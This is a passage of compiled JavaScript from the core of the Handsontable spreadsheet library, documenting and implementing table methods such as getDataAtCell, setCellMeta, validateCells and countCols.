_function.isFunction)(height)) { height = height(); } if (init) { var initialStyle = instance.rootElement.getAttribute('style'); if (initialStyle) { instance.rootElement.setAttribute('data-initialstyle', instance.rootElement.getAttribute('style')); } } if (height === null) { var _initialStyle = instance.rootElement.getAttribute('data-initialstyle'); if (_initialStyle && (_initialStyle.indexOf('height') > -1 || _initialStyle.indexOf('overflow') > -1)) { instance.rootElement.setAttribute('style', _initialStyle); } else { instance.rootElement.style.height = ''; instance.rootElement.style.overflow = ''; } } else if (height !== void 0) { instance.rootElement.style.height = "".concat(height, "px"); instance.rootElement.style.overflow = 'hidden'; } if (typeof settings.width !== 'undefined') { var width = settings.width; if ((0, _function.isFunction)(width)) { width = width(); } instance.rootElement.style.width = "".concat(width, "px"); } if (!init) { datamap.clearLengthCache(); // force clear cache length on updateSettings() #3416 if (instance.view) { instance.view.wt.wtViewport.resetHasOversizedColumnHeadersMarked(); } instance.runHooks('afterUpdateSettings', settings); } grid.adjustRowsAndCols(); if (instance.view && !priv.firstRun) { instance.forceFullRender = true; // used when data was changed editorManager.lockEditor(); instance._refreshBorders(null); editorManager.unlockEditor(); } if (!init && instance.view && (currentHeight === '' || height === '' || height === void 0) && currentHeight !== height) { instance.view.wt.wtOverlays.updateMainScrollableElements(); } }; /** * Get value from the selected cell. * * @memberof Core# * @function getValue * @returns {*} Value of selected cell. */ this.getValue = function () { var sel = instance.getSelectedLast(); if (GridSettings.prototype.getValue) { if ((0, _function.isFunction)(GridSettings.prototype.getValue)) { return GridSettings.prototype.getValue.call(instance); } else if (sel) { return instance.getData()[sel[0][0]][GridSettings.prototype.getValue]; } } else if (sel) { return instance.getDataAtCell(sel[0], sel[1]); } }; function expandType(obj) { if (!(0, _object.hasOwnProperty)(obj, 'type')) { // ignore obj.prototype.type return; } var expandedType = {}; var type; if (_typeof(obj.type) === 'object') { type = obj.type; } else if (typeof obj.type === 'string') { type = (0, _cellTypes.getCellType)(obj.type); } // eslint-disable-next-line no-restricted-syntax for (var i in type) { if ((0, _object.hasOwnProperty)(type, i) && !(0, _object.hasOwnProperty)(obj, i)) { expandedType[i] = type[i]; } } return expandedType; } /** * Returns the object settings. * * @memberof Core# * @function getSettings * @returns {Object} Object containing the current table settings. */ this.getSettings = function () { return priv.settings; }; /** * Clears the data from the table (the table settings remain intact). * * @memberof Core# * @function clear */ this.clear = function () { this.selectAll(); this.emptySelectedCells(); }; /** * Allows altering the table structure by either inserting/removing rows or columns. * * @memberof Core# * @function alter * @param {String} action Possible alter operations: * * `'insert_row'` * * `'insert_col'` * * `'remove_row'` * * `'remove_col'` * @param {Number|Number[]} index Visual index of the row/column before which the new row/column will be * inserted/removed or an array of arrays in format `[[index, amount],...]`. * @param {Number} [amount=1] Amount of rows/columns to be inserted or removed. * @param {String} [source] Source indicator. * @param {Boolean} [keepEmptyRows] Flag for preventing deletion of empty rows. * @example * ```js * // Insert new row above the row at given visual index. * hot.alter('insert_row', 10); * // Insert 3 new columns before 10th column. * hot.alter('insert_col', 10, 3); * // Remove 2 rows starting from 10th row. * hot.alter('remove_row', 10, 2); * // Remove 5 non-contiquous rows (it removes 3 rows from visual index 1 and 2 rows from visual index 5). * hot.alter('remove_row', [[1, 3], [5, 2]]); * ``` */ this.alter = function (action, index, amount, source, keepEmptyRows) { grid.alter(action, index, amount, source, keepEmptyRows); }; /** * Returns a TD element for the given `row` and `column` arguments, if it is rendered on screen. * Returns `null` if the TD is not rendered on screen (probably because that part of the table is not visible). * * @memberof Core# * @function getCell * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Boolean} [topmost=false] If set to `true`, it returns the TD element from the topmost overlay. For example, * if the wanted cell is in the range of fixed rows, it will return a TD element from the `top` overlay. * @returns {HTMLTableCellElement|null} The cell's TD element. */ this.getCell = function (row, column) { var topmost = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; return instance.view.getCellAtCoords(new _src.CellCoords(row, column), topmost); }; /** * Returns the coordinates of the cell, provided as a HTML table cell element. * * @memberof Core# * @function getCoords * @param {HTMLTableCellElement} element The HTML Element representing the cell. * @returns {CellCoords} Visual coordinates object. * @example * ```js * hot.getCoords(hot.getCell(1, 1)); * // it returns CellCoords object instance with props row: 1 and col: 1. * ``` */ this.getCoords = function (element) { return this.view.wt.wtTable.getCoords.call(this.view.wt.wtTable, element); }; /** * Returns the property name that corresponds with the given column index (see {@link DataMap#colToProp}). * If the data source is an array of arrays, it returns the columns index. * * @memberof Core# * @function colToProp * @param {Number} column Visual column index. * @returns {String|Number} Column property or physical column index. */ this.colToProp = function (column) { return datamap.colToProp(column); }; /** * Returns column index that corresponds with the given property (see {@link DataMap#propToCol}). * * @memberof Core# * @function propToCol * @param {String|Number} prop Property name or physical column index. * @returns {Number} Visual column index. */ this.propToCol = function (prop) { return datamap.propToCol(prop); }; /** * Translate physical row index into visual. * * This method is useful when you want to retrieve visual row index which can be reordered, moved or trimmed * based on a physical index * * @memberof Core# * @function toVisualRow * @param {Number} row Physical row index. * @returns {Number} Returns visual row index. */ this.toVisualRow = function (row) { return recordTranslator.toVisualRow(row); }; /** * Translate physical column index into visual. * * This method is useful when you want to retrieve visual column index which can be reordered, moved or trimmed * based on a physical index * * @memberof Core# * @function toVisualColumn * @param {Number} column Physical column index. * @returns {Number} Returns visual column index. */ this.toVisualColumn = function (column) { return recordTranslator.toVisualColumn(column); }; /** * Translate visual row index into physical. * * This method is useful when you want to retrieve physical row index based on a visual index which can be * reordered, moved or trimmed. * * @memberof Core# * @function toPhysicalRow * @param {Number} row Visual row index. * @returns {Number} Returns physical row index. */ this.toPhysicalRow = function (row) { return recordTranslator.toPhysicalRow(row); }; /** * Translate visual column index into physical. * * This method is useful when you want to retrieve physical column index based on a visual index which can be * reordered, moved or trimmed. * * @memberof Core# * @function toPhysicalColumn * @param {Number} column Visual column index. * @returns {Number} Returns physical column index. */ this.toPhysicalColumn = function (column) { return recordTranslator.toPhysicalColumn(column); }; /** * @description * Returns the cell value at `row`, `column`. * * __Note__: If data is reordered, sorted or trimmed, the currently visible order will be used. * * @memberof Core# * @function getDataAtCell * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @returns {*} Data at cell. */ this.getDataAtCell = function (row, column) { return datamap.get(row, datamap.colToProp(column)); }; /** * Returns value at visual `row` and `prop` indexes (see {@link DataMap#get}). * * __Note__: If data is reordered, sorted or trimmed, the currently visible order will be used. * * @memberof Core# * @function getDataAtRowProp * @param {Number} row Visual row index. * @param {String} prop Property name. * @returns {*} Cell value. */ this.getDataAtRowProp = function (row, prop) { return datamap.get(row, prop); }; /** * @description * Returns array of column values from the data source. * * __Note__: If columns were reordered or sorted, the currently visible order will be used. * * @memberof Core# * @function getDataAtCol * @param {Number} column Visual column index. * @returns {Array} Array of cell values. */ this.getDataAtCol = function (column) { var _ref12; return (_ref12 = []).concat.apply(_ref12, _toConsumableArray(datamap.getRange(new _src.CellCoords(0, column), new _src.CellCoords(priv.settings.data.length - 1, column), datamap.DESTINATION_RENDERER))); }; /** * Given the object property name (e.g. `'first.name'` or `'0'`), returns an array of column's values from the table data. * You can also provide a column index as the first argument. * * @memberof Core# * @function getDataAtProp * @param {String|Number} prop Property name or physical column index. * @returns {Array} Array of cell values. */ // TODO: Getting data from `datamap` should work on visual indexes. this.getDataAtProp = function (prop) { var _ref13; var range = datamap.getRange(new _src.CellCoords(0, datamap.propToCol(prop)), new _src.CellCoords(priv.settings.data.length - 1, datamap.propToCol(prop)), datamap.DESTINATION_RENDERER); return (_ref13 = []).concat.apply(_ref13, _toConsumableArray(range)); }; /** * Returns the source data object (the same that was passed by `data` configuration option or `loadData` method). * Optionally you can provide a cell range by using the `row`, `column`, `row2`, `column2` arguments, to get only a * fragment of the table data. * * __Note__: This method does not participate in data transformation. If the visual data of the table is reordered, * sorted or trimmed only physical indexes are correct. * * @memberof Core# * @function getSourceData * @param {Number} [row] From physical row index. * @param {Number} [column] From physical column index (or visual index, if data type is an array of objects). * @param {Number} [row2] To physical row index. * @param {Number} [column2] To physical column index (or visual index, if data type is an array of objects). * @returns {Array[]|Object[]} The table data. */ this.getSourceData = function (row, column, row2, column2) { var data; if (row === void 0) { data = dataSource.getData(); } else { data = dataSource.getByRange(new _src.CellCoords(row, column), new _src.CellCoords(row2, column2)); } return data; }; /** * Returns the source data object as an arrays of arrays format even when source data was provided in another format. * Optionally you can provide a cell range by using the `row`, `column`, `row2`, `column2` arguments, to get only a * fragment of the table data. * * __Note__: This method does not participate in data transformation. If the visual data of the table is reordered, * sorted or trimmed only physical indexes are correct. * * @memberof Core# * @function getSourceDataArray * @param {Number} [row] From physical row index. * @param {Number} [column] From physical column index (or visual index, if data type is an array of objects). * @param {Number} [row2] To physical row index. * @param {Number} [column2] To physical column index (or visual index, if data type is an array of objects). * @returns {Array} An array of arrays. */ this.getSourceDataArray = function (row, column, row2, column2) { var data; if (row === void 0) { data = dataSource.getData(true); } else { data = dataSource.getByRange(new _src.CellCoords(row, column), new _src.CellCoords(row2, column2), true); } return data; }; /** * Returns an array of column values from the data source. * * @memberof Core# * @function getSourceDataAtCol * @param {Number} column Visual column index. * @returns {Array} Array of the column's cell values. */ // TODO: Getting data from `sourceData` should work always on physical indexes. this.getSourceDataAtCol = function (column) { return dataSource.getAtColumn(column); }; /** * Returns a single row of the data (array or object, depending on what data format you use). * * __Note__: This method does not participate in data transformation. If the visual data of the table is reordered, * sorted or trimmed only physical indexes are correct. * * @memberof Core# * @function getSourceDataAtRow * @param {Number} row Physical row index. * @returns {Array|Object} Single row of data. */ this.getSourceDataAtRow = function (row) { return dataSource.getAtRow(row); }; /** * Returns a single value from the data source. * * @memberof Core# * @function getSourceDataAtCell * @param {Number} row Physical row index. * @param {Number} column Visual column index. * @returns {*} Cell data. */ // TODO: Getting data from `sourceData` should work always on physical indexes. this.getSourceDataAtCell = function (row, column) { return dataSource.getAtCell(row, column); }; /** * @description * Returns a single row of the data. * * __Note__: If rows were reordered, sorted or trimmed, the currently visible order will be used. * * @memberof Core# * @function getDataAtRow * @param {Number} row Visual row index. * @returns {Array} Array of row's cell data. */ this.getDataAtRow = function (row) { var data = datamap.getRange(new _src.CellCoords(row, 0), new _src.CellCoords(row, this.countCols() - 1), datamap.DESTINATION_RENDERER); return data[0] || []; }; /** * @description * Returns a data type defined in the Handsontable settings under the `type` key ([Options#type](http://docs.handsontable.com/Options.html#type)). * If there are cells with different types in the selected range, it returns `'mixed'`. * * __Note__: If data is reordered, sorted or trimmed, the currently visible order will be used. * * @memberof Core# * @function getDataType * @param {Number} rowFrom From visual row index. * @param {Number} columnFrom From visual column index. * @param {Number} rowTo To visual row index. * @param {Number} columnTo To visual column index. * @returns {String} Cell type (e.q: `'mixed'`, `'text'`, `'numeric'`, `'autocomplete'`). */ this.getDataType = function (rowFrom, columnFrom, rowTo, columnTo) { var _this3 = this; var coords = rowFrom === void 0 ? [0, 0, this.countRows(), this.countCols()] : [rowFrom, columnFrom, rowTo, columnTo]; var rowStart = coords[0], columnStart = coords[1]; var rowEnd = coords[2], columnEnd = coords[3]; var previousType = null; var currentType = null; if (rowEnd === void 0) { rowEnd = rowStart; } if (columnEnd === void 0) { columnEnd = columnStart; } var type = 'mixed'; (0, _number.rangeEach)(Math.min(rowStart, rowEnd), Math.max(rowStart, rowEnd), function (row) { var isTypeEqual = true; (0, _number.rangeEach)(Math.min(columnStart, columnEnd), Math.max(columnStart, columnEnd), function (column) { var cellType = _this3.getCellMeta(row, column); currentType = cellType.type; if (previousType) { isTypeEqual = previousType === currentType; } else { previousType = currentType; } return isTypeEqual; }); type = isTypeEqual ? currentType : 'mixed'; return isTypeEqual; }); return type; }; /** * Remove a property defined by the `key` argument from the cell meta object for the provided `row` and `column` coordinates. * * @memberof Core# * @function removeCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} key Property name. * @fires Hooks#beforeRemoveCellMeta * @fires Hooks#afterRemoveCellMeta */ this.removeCellMeta = function (row, column, key) { var _recordTranslator$toP = recordTranslator.toPhysical(row, column), _recordTranslator$toP2 = _slicedToArray(_recordTranslator$toP, 2), physicalRow = _recordTranslator$toP2[0], physicalColumn = _recordTranslator$toP2[1]; var cachedValue = priv.cellSettings[physicalRow][physicalColumn][key]; var hookResult = instance.runHooks('beforeRemoveCellMeta', row, column, key, cachedValue); if (hookResult !== false) { delete priv.cellSettings[physicalRow][physicalColumn][key]; instance.runHooks('afterRemoveCellMeta', row, column, key, cachedValue); } cachedValue = null; }; /** * Remove one or more rows from the cell meta object. * * @since 0.30.0 * @param {Number} index An integer that specifies at what position to add/remove items, Use negative values to specify the position from the end of the array. * @param {Number} deleteAmount The number of items to be removed. If set to 0, no items will be removed. * @param {Array} items The new items to be added to the array. */ this.spliceCellsMeta = function (index, deleteAmount) { var _priv$cellSettings; for (var _len4 = arguments.length, items = new Array(_len4 > 2 ? _len4 - 2 : 0), _key3 = 2; _key3 < _len4; _key3++) { items[_key3 - 2] = arguments[_key3]; } (_priv$cellSettings = priv.cellSettings).splice.apply(_priv$cellSettings, [index, deleteAmount].concat(items)); }; /** * Set cell meta data object defined by `prop` to the corresponding params `row` and `column`. * * @memberof Core# * @function setCellMetaObject * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Object} prop Meta object. */ this.setCellMetaObject = function (row, column, prop) { var _this4 = this; if (_typeof(prop) === 'object') { (0, _object.objectEach)(prop, function (value, key) { _this4.setCellMeta(row, column, key, value); }); } }; /** * Sets a property defined by the `key` property to the meta object of a cell corresponding to params `row` and `column`. * * @memberof Core# * @function setCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} key Property name. * @param {String} value Property value. * @fires Hooks#afterSetCellMeta */ this.setCellMeta = function (row, column, key, value) { var _recordTranslator$toP3 = recordTranslator.toPhysical(row, column), _recordTranslator$toP4 = _slicedToArray(_recordTranslator$toP3, 2), physicalRow = _recordTranslator$toP4[0], physicalColumn = _recordTranslator$toP4[1]; if (!priv.columnSettings[physicalColumn]) { priv.columnSettings[physicalColumn] = (0, _setting.columnFactory)(GridSettings, priv.columnsSettingConflicts); } if (!priv.cellSettings[physicalRow]) { priv.cellSettings[physicalRow] = []; } if (!priv.cellSettings[physicalRow][physicalColumn]) { priv.cellSettings[physicalRow][physicalColumn] = new priv.columnSettings[physicalColumn](); } priv.cellSettings[physicalRow][physicalColumn][key] = value; instance.runHooks('afterSetCellMeta', row, column, key, value); }; /** * Get all the cells meta settings at least once generated in the table (in order of cell initialization). * * @memberof Core# * @function getCellsMeta * @returns {Array} Returns an array of ColumnSettings object instances. */ this.getCellsMeta = function () { return (0, _array.arrayFlatten)(priv.cellSettings); }; /** * Returns the cell properties object for the given `row` and `column` coordinates. * * @memberof Core# * @function getCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @returns {Object} The cell properties object. * @fires Hooks#beforeGetCellMeta * @fires Hooks#afterGetCellMeta */ this.getCellMeta = function (row, column) { var prop = datamap.colToProp(column); var _recordTranslator$toP5 = recordTranslator.toPhysical(row, column), _recordTranslator$toP6 = _slicedToArray(_recordTranslator$toP5, 2), potentialPhysicalRow = _recordTranslator$toP6[0], physicalColumn = _recordTranslator$toP6[1]; var physicalRow = potentialPhysicalRow; // Workaround for #11. Connected also with #3849. It should be fixed within #4497. if (physicalRow === null) { physicalRow = row; } if (!priv.columnSettings[physicalColumn]) { priv.columnSettings[physicalColumn] = (0, _setting.columnFactory)(GridSettings, priv.columnsSettingConflicts); } if (!priv.cellSettings[physicalRow]) { priv.cellSettings[physicalRow] = []; } if (!priv.cellSettings[physicalRow][physicalColumn]) { priv.cellSettings[physicalRow][physicalColumn] = new priv.columnSettings[physicalColumn](); } var cellProperties = priv.cellSettings[physicalRow][physicalColumn]; // retrieve cellProperties from cache cellProperties.row = physicalRow; cellProperties.col = physicalColumn; cellProperties.visualRow = row; cellProperties.visualCol = column; cellProperties.prop = prop; cellProperties.instance = instance; instance.runHooks('beforeGetCellMeta', row, column, cellProperties); (0, _object.extend)(cellProperties, expandType(cellProperties)); // for `type` added in beforeGetCellMeta if (cellProperties.cells) { var settings = cellProperties.cells.call(cellProperties, physicalRow, physicalColumn, prop); if (settings) { (0, _object.extend)(cellProperties, settings); (0, _object.extend)(cellProperties, expandType(settings)); // for `type` added in cells } } instance.runHooks('afterGetCellMeta', row, column, cellProperties); return cellProperties; }; /** * Returns an array of cell meta objects for specyfied physical row index. * * @memberof Core# * @function getCellMetaAtRow * @param {Number} row Physical row index. * @returns {Array} */ this.getCellMetaAtRow = function (row) { return priv.cellSettings[row]; }; /** * Checks if the data format and config allows user to modify the column structure. * * @memberof Core# * @function isColumnModificationAllowed * @returns {Boolean} */ this.isColumnModificationAllowed = function () { return !(instance.dataType === 'object' || instance.getSettings().columns); }; var rendererLookup = (0, _data.cellMethodLookupFactory)('renderer'); /** * Returns the cell renderer function by given `row` and `column` arguments. * * @memberof Core# * @function getCellRenderer * @param {Number|Object} row Visual row index or cell meta object (see {@link Core#getCellMeta}). * @param {Number} column Visual column index. * @returns {Function} The renderer function. * @example * ```js * // Get cell renderer using `row` and `column` coordinates. * hot.getCellRenderer(1, 1); * // Get cell renderer using cell meta object. * hot.getCellRenderer(hot.getCellMeta(1, 1)); * ``` */ this.getCellRenderer = function (row, column) { return (0, _renderers.getRenderer)(rendererLookup.call(this, row, column)); }; /** * Returns the cell editor class by the provided `row` and `column` arguments. * * @memberof Core# * @function getCellEditor * @param {Number} row Visual row index or cell meta object (see {@link Core#getCellMeta}). * @param {Number} column Visual column index. * @returns {Function} The editor class. * @example * ```js * // Get cell editor class using `row` and `column` coordinates. * hot.getCellEditor(1, 1); * // Get cell editor class using cell meta object. * hot.getCellEditor(hot.getCellMeta(1, 1)); * ``` */ this.getCellEditor = (0, _data.cellMethodLookupFactory)('editor'); var validatorLookup = (0, _data.cellMethodLookupFactory)('validator'); /** * Returns the cell validator by `row` and `column`. * * @memberof Core# * @function getCellValidator * @param {Number|Object} row Visual row index or cell meta object (see {@link Core#getCellMeta}). * @param {Number} column Visual column index. * @returns {Function|RegExp|undefined} The validator function. * @example * ```js * // Get cell valiator using `row` and `column` coordinates. * hot.getCellValidator(1, 1); * // Get cell valiator using cell meta object. * hot.getCellValidator(hot.getCellMeta(1, 1)); * ``` */ this.getCellValidator = function (row, column) { var validator = validatorLookup.call(this, row, column); if (typeof validator === 'string') { validator = (0, _validators.getValidator)(validator); } return validator; }; /** * Validates all cells using their validator functions and calls callback when finished. * * If one of the cells is invalid, the callback will be fired with `'valid'` arguments as `false` - otherwise it * would equal `true`. * * @memberof Core# * @function validateCells * @param {Function} [callback] The callback function. * @example * ```js * hot.validateCells((valid) => { * if (valid) { * // ... code for validated cells * } * }) * ``` */ this.validateCells = function (callback) { this._validateCells(callback); }; /** * Validates rows using their validator functions and calls callback when finished. * * If one of the cells is invalid, the callback will be fired with `'valid'` arguments as `false` - otherwise it * would equal `true`. * * @memberof Core# * @function validateRows * @param {Array} [rows] Array of validation target visual row indexes. * @param {Function} [callback] The callback function. * @example * ```js * hot.validateRows([3, 4, 5], (valid) => { * if (valid) { * // ... code for validated rows * } * }) * ``` */ this.validateRows = function (rows, callback) { if (!Array.isArray(rows)) { throw new Error('validateRows parameter `rows` must be an array'); } this._validateCells(callback, rows); }; /** * Validates columns using their validator functions and calls callback when finished. * * If one of the cells is invalid, the callback will be fired with `'valid'` arguments as `false` - otherwise it * would equal `true`. * * @memberof Core# * @function validateColumns * @param {Array} [columns] Array of validation target visual columns indexes. * @param {Function} [callback] The callback function. * @example * ```js * hot.validateColumns([3, 4, 5], (valid) => { * if (valid) { * // ... code for validated columns * } * }) * ``` */ this.validateColumns = function (columns, callback) { if (!Array.isArray(columns)) { throw new Error('validateColumns parameter `columns` must be an array'); } this._validateCells(callback, undefined, columns); }; /** * Validates all cells using their validator functions and calls callback when finished. * * If one of the cells is invalid, the callback will be fired with `'valid'` arguments as `false` - otherwise it would equal `true`. * * Private use intended. * * @private * @memberof Core# * @function _validateCells * @param {Function} [callback] The callback function. * @param {Array} [rows] An array of validation target visual row indexes. * @param {Array} [columns] An array of validation target visual column indexes. */ this._validateCells = function (callback, rows, columns) { var waitingForValidator = new ValidatorsQueue(); if (callback) { waitingForValidator.onQueueEmpty = callback; } var i = instance.countRows() - 1; while (i >= 0) { if (rows !== undefined && rows.indexOf(i) === -1) { i -= 1; continue; } var j = instance.countCols() - 1; while (j >= 0) { if (columns !== undefined && columns.indexOf(j) === -1) { j -= 1; continue; } waitingForValidator.addValidatorToQueue(); instance.validateCell(instance.getDataAtCell(i, j), instance.getCellMeta(i, j), function (result) { if (typeof result !== 'boolean') { throw new Error('Validation error: result is not boolean'); } if (result === false) { waitingForValidator.valid = false; } waitingForValidator.removeValidatorFormQueue(); }, 'validateCells'); j -= 1; } i -= 1; } waitingForValidator.checkIfQueueIsEmpty(); }; /** * Returns an array of row headers' values (if they are enabled). If param `row` was given, it returns the header of the given row as a string. * * @memberof Core# * @function getRowHeader * @param {Number} [row] Visual row index. * @fires Hooks#modifyRowHeader * @returns {Array|String|Number} Array of header values / single header value. */ this.getRowHeader = function (row) { var rowHeader = priv.settings.rowHeaders; var physicalRow = row; if (physicalRow !== void 0) { physicalRow = instance.runHooks('modifyRowHeader', physicalRow); } if (physicalRow === void 0) { rowHeader = []; (0, _number.rangeEach)(instance.countRows() - 1, function (i) { rowHeader.push(instance.getRowHeader(i)); }); } else if (Array.isArray(rowHeader) && rowHeader[physicalRow] !== void 0) { rowHeader = rowHeader[physicalRow]; } else if ((0, _function.isFunction)(rowHeader)) { rowHeader = rowHeader(physicalRow); } else if (rowHeader && typeof rowHeader !== 'string' && typeof rowHeader !== 'number') { rowHeader = physicalRow + 1; } return rowHeader; }; /** * Returns information about if this table is configured to display row headers. * * @memberof Core# * @function hasRowHeaders * @returns {Boolean} `true` if the instance has the row headers enabled, `false` otherwise. */ this.hasRowHeaders = function () { return !!priv.settings.rowHeaders; }; /** * Returns information about if this table is configured to display column headers. * * @memberof Core# * @function hasColHeaders * @returns {Boolean} `true` if the instance has the column headers enabled, `false` otherwise. */ this.hasColHeaders = function () { if (priv.settings.colHeaders !== void 0 && priv.settings.colHeaders !== null) { // Polymer has empty value = null return !!priv.settings.colHeaders; } for (var i = 0, ilen = instance.countCols(); i < ilen; i++) { if (instance.getColHeader(i)) { return true; } } return false; }; /** * Returns an array of column headers (in string format, if they are enabled). If param `column` is given, it * returns the header at the given column. * * @memberof Core# * @function getColHeader * @param {Number} [column] Visual column index. * @fires Hooks#modifyColHeader * @returns {Array|String|Number} The column header(s). */ this.getColHeader = function (column) { var columnsAsFunc = priv.settings.columns && (0, _function.isFunction)(priv.settings.columns); var columnIndex = instance.runHooks('modifyColHeader', column); var result = priv.settings.colHeaders; if (columnIndex === void 0) { var out = []; var ilen = columnsAsFunc ? instance.countSourceCols() : instance.countCols(); for (var i = 0; i < ilen; i++) { out.push(instance.getColHeader(i)); } result = out; } else { var translateVisualIndexToColumns = function translateVisualIndexToColumns(visualColumnIndex) { var arr = []; var columnsLen = instance.countSourceCols(); var index = 0; for (; index < columnsLen; index++) { if ((0, _function.isFunction)(instance.getSettings().columns) && instance.getSettings().columns(index)) { arr.push(index); } } return arr[visualColumnIndex]; }; var baseCol = columnIndex; var physicalColumn = instance.runHooks('modifyCol', baseCol); var prop = translateVisualIndexToColumns(physicalColumn); if (priv.settings.colHeaders === false) { result = null; } else if (priv.settings.columns && (0, _function.isFunction)(priv.settings.columns) && priv.settings.columns(prop) && priv.settings.columns(prop).title) { result = priv.settings.columns(prop).title; } else if (priv.settings.columns && priv.settings.columns[physicalColumn] && priv.settings.columns[physicalColumn].title) { result = priv.settings.columns[physicalColumn].title; } else if (Array.isArray(priv.settings.colHeaders) && priv.settings.colHeaders[physicalColumn] !== void 0) { result = priv.settings.colHeaders[physicalColumn]; } else if ((0, _function.isFunction)(priv.settings.colHeaders)) { result = priv.settings.colHeaders(physicalColumn); } else if (priv.settings.colHeaders && typeof priv.settings.colHeaders !== 'string' && typeof priv.settings.colHeaders !== 'number') { result = (0, _data.spreadsheetColumnLabel)(baseCol); // see #1458 } } return result; }; /** * Return column width from settings (no guessing). Private use intended. * * @private * @memberof Core# * @function _getColWidthFromSettings * @param {Number} col Visual col index. * @returns {Number} */ this._getColWidthFromSettings = function (col) { var cellProperties = instance.getCellMeta(0, col); var width = cellProperties.width; if (width === void 0 || width === priv.settings.width) { width = cellProperties.colWidths; } if (width !== void 0 && width !== null) { switch (_typeof(width)) { case 'object': // array width = width[col]; break; case 'function': width = width(col); break; default: break; } if (typeof width === 'string') { width = parseInt(width, 10); } } return width; }; /** * Returns the width of the requested column. * * @memberof Core# * @function getColWidth * @param {Number} column Visual column index. * @returns {Number} Column width. * @fires Hooks#modifyColWidth */ this.getColWidth = function (column) { var width = instance._getColWidthFromSettings(column); width = instance.runHooks('modifyColWidth', width, column); if (width === void 0) { width = _src.ViewportColumnsCalculator.DEFAULT_WIDTH; } return width; }; /** * Return row height from settings (no guessing). Private use intended. * * @private * @memberof Core# * @function _getRowHeightFromSettings * @param {Number} row Visual row index. * @returns {Number} */ this._getRowHeightFromSettings = function (row) { // let cellProperties = instance.getCellMeta(row, 0); // let height = cellProperties.height; // // if (height === void 0 || height === priv.settings.height) { // height = cellProperties.rowHeights; // } var height = priv.settings.rowHeights; if (height !== void 0 && height !== null) { switch (_typeof(height)) { case 'object': // array height = height[row]; break; case 'function': height = height(row); break; default: break; } if (typeof height === 'string') { height = parseInt(height, 10); } } return height; }; /** * Returns the row height. * * @memberof Core# * @function getRowHeight * @param {Number} row Visual row index. * @returns {Number} The given row's height. * @fires Hooks#modifyRowHeight */ this.getRowHeight = function (row) { var height = instance._getRowHeightFromSettings(row); height = instance.runHooks('modifyRowHeight', height, row); return height; }; /** * Returns the total number of rows in the data source. * * @memberof Core# * @function countSourceRows * @returns {Number} Total number of rows. */ this.countSourceRows = function () { var sourceLength = instance.runHooks('modifySourceLength'); return sourceLength || (instance.getSourceData() ? instance.getSourceData().length : 0); }; /** * Returns the total number of columns in the data source. * * @memberof Core# * @function countSourceCols * @returns {Number} Total number of columns. */ this.countSourceCols = function () { var len = 0; var obj = instance.getSourceData() && instance.getSourceData()[0] ? instance.getSourceData()[0] : []; if ((0, _object.isObject)(obj)) { len = (0, _object.deepObjectSize)(obj); } else { len = obj.length || 0; } return len; }; /** * Returns the total number of visual rows in the table. * * @memberof Core# * @function countRows * @returns {Number} Total number of rows. */ this.countRows = function () { return datamap.getLength(); }; /** * Returns the total number of visible columns in the table. * * @memberof Core# * @function countCols * @returns {Number} Total number of columns. */ this.countCols = function () { var maxCols = this.getSettings().maxCols; var dataHasLength = false; var dataLen = 0; if (instance.dataType === 'array') { dataHasLength = priv.settings.data && priv.settings.data[0] && priv.settings.data[0].length; } if (dataHasLength) { dataLen = priv.settings.data[0].length; } if (priv.settings.columns) { var columnsIsFunction = (0, _function.isFunction)(priv.settings.columns); if (columnsIsFunction) { if (instance.dataType === 'array') { var columnLen = 0; for (var i = 0; i < dataLen; i++) { if (priv.settings.columns(i)) { columnLen += 1; } } dataLen = columnLen; } else if (instance.dataType === 'object' || instance.dataType === 'function') { dataLen = datamap.colToPropCache.length; } } else { dataLen = priv.settings.columns.length; } } else if (instance.dataType === 'object' || instance.dataType === 'function') { dataLen = datamap.colToPropCache.length; } return Math.min(maxCols, dataLen); }; /** * Returns an visual index of the first rendered row. * * @memberof Core# * @function rowOffset * @returns {Number} Visual index of first rendered row. */ this.rowOffset = function () { return instance.view.wt.wtTable.getFirstRenderedRow(); }; /** * Returns the visual index of the first rendered column. * * @memberof Core# * @function colOffset * @returns {Number} Visual index of the first visible column. */ this.colOffset = function () { return instance.view.wt.wtTable.getFirstRenderedColumn(); }; /** * Returns the number of rendered rows (including rows partially or fully rendered outside viewport). * * @memberof Core# * @function countRenderedRows * @returns {Number} Returns -1 if table is not visible. */ this.countRenderedRows = function () { return instance.view.wt.drawn ? instance.view.wt.wtTable.getRenderedRowsCount() : -1; }; /** * Returns the number of visible rows (rendered rows that fully fit inside viewport). * * @memberof Core# * @function countVisibleRows * @returns {Number} Number of visible rows or -1. */ this.countVisibleRows = function () { return instance.view.wt.drawn ? instance.view.wt.wtTable.getVisibleRowsCount() : -1; }; /** * Returns the number of rendered columns (including columns partially or fully rendered outside viewport). * * @memberof Core# * @function countRenderedCols * @returns {Number} Returns -1 if table is not visible. */ this.countRenderedCols = function () { return instance.view.wt.drawn ? instance.view.wt.wtTable.getRenderedColumnsCount() : -1; }; /** * Returns the number of visible columns. Returns -1 if table is not visible * * @memberof Core# * @function countVisibleCols * @return {Number} Number of visible columns or -1. */ this.countVisibleCols = function () { return instance.view.wt.drawn ? instance.view.wt.wtTable.getVisibleColumnsCount() : -1; }; /** * Returns the number of empty rows. If the optional ending parameter is `true`, returns the * number of empty rows at the bottom of the table. * * @memberof Core# * @function countEmptyRows * @param {Boolean} [ending=false] If `true`, will only count empty rows at the end of the data source. * @returns {Number} Count empty rows. */ this.countEmptyRows = function () { var ending = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var emptyRows = 0; (0, _number.rangeEachReverse)(instance.countRows() - 1, function (visualIndex) { if (instance.isEmptyRow(visualIndex)) { emptyRows += 1; } else if (ending === true) { return false; } }); return emptyRows; }; /** * Returns the number of empty columns. If the optional ending parameter is `true`, returns the number of empty * columns at right hand edge of the table. * * @memberof Core# * @function countEmptyCols * @param {Boolean} [ending=false] If `true`, will only count empty columns at the end of the data source row. * @returns {Number} Count empty cols. */ this.countEmptyCols = function () { var ending = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (instance.countRows() < 1) { return 0; } var emptyColumns = 0; (0, 